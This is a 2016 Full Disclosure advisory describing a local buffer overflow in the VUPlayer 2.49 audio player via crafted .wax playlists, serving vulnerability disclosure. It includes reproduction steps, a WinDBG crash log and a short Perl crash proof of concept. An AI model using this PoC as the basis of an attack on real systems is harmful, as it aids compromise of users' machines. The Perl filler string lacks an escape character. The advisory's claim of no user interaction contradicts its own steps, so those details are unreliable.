Date: Wed, 27 Jul 2016 10:43:12 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] VUPlayer 2.49 - (.wax) Buffer Overflow Vulnerability

Document Title:
===============
VUPlayer 2.49 - (.wax) Buffer Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1877


Release Date:
=============
2016-07-26


Vulnerability Laboratory ID (VL-ID):
====================================
1877


Common Vulnerability Scoring System:
====================================
6.4


Product & Service Introduction:
===============================
VUPlayer is a freeware multi-format audio player for windows.

(Copy of the Vendor Homepage: http://vuplayer.com/vuplayer.php )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the official VUPlayer v2.49 software.


Vulnerability Disclosure Timeline:
==================================
2016-07-26:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A buffer overflow vulnerability has been discovered in the official VUPlayer v2.49 software.
The vulnerability allows local attackers to overwrite the registers to compromise the local software process.

The classic buffer overflow vulnerability is located in the software VUPlayer. An attacker can manipulate the 
bit EIP register in order to execute the next instruction of their choice. Attackers are able to for example 
execute arbitrary codes with process privileges. The attacker includes a large unicode string to overwrite 
the EIP register of the process. Finally the attacker is able to takeover the process by an overwrite of the 
active program process to compromise the computer system.

The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability 
scoring system) count of 6.4. Exploitation of the vulnerability requires a low privilege or restricted system 
user account without user interaction. Successful exploitation of the vulnerability results in computer system 
manipulation and compromise of the computer system.

Affected Extension(s):
				[+] .wax


Proof of Concept (PoC):
=======================
The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Launch VUPlayer.exe                
2. Run the code in perl and a file format (.wax) will create
3. Click File - Open a playlist 
4. Select the file (.wax)
5. Software will crash with 
6. Successful reproduce of the local buffer overflow vulnerability!


--- Debug Session Logs [WinDBG] ---
Access violation - code c0000005 
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=022866c4 ecx=41414141 edx=00000000 esi=01640044 edi=0014efa8
eip=41414141 esp=0014ec3c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
41414141 ??              ???

Note: EIP, EBP & ECX overwritten


PoC : Perl Exploit (*.pl)
#!/usr/bin/perl
my $Buff = "x41" x 1200;
open(MYFILE,'>>File.wax');
print MYFILE $Buff;
close(MYFILE);
print " POC Created by ZwXn";


Security Risk:
==============
The security risk of the local buffer overflow vulnerability in the vuplayer software core is estimated as high. (CVSS 6.4)


Credits & Authors:
==================
ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX]


Disclaimer & Information:
=========================
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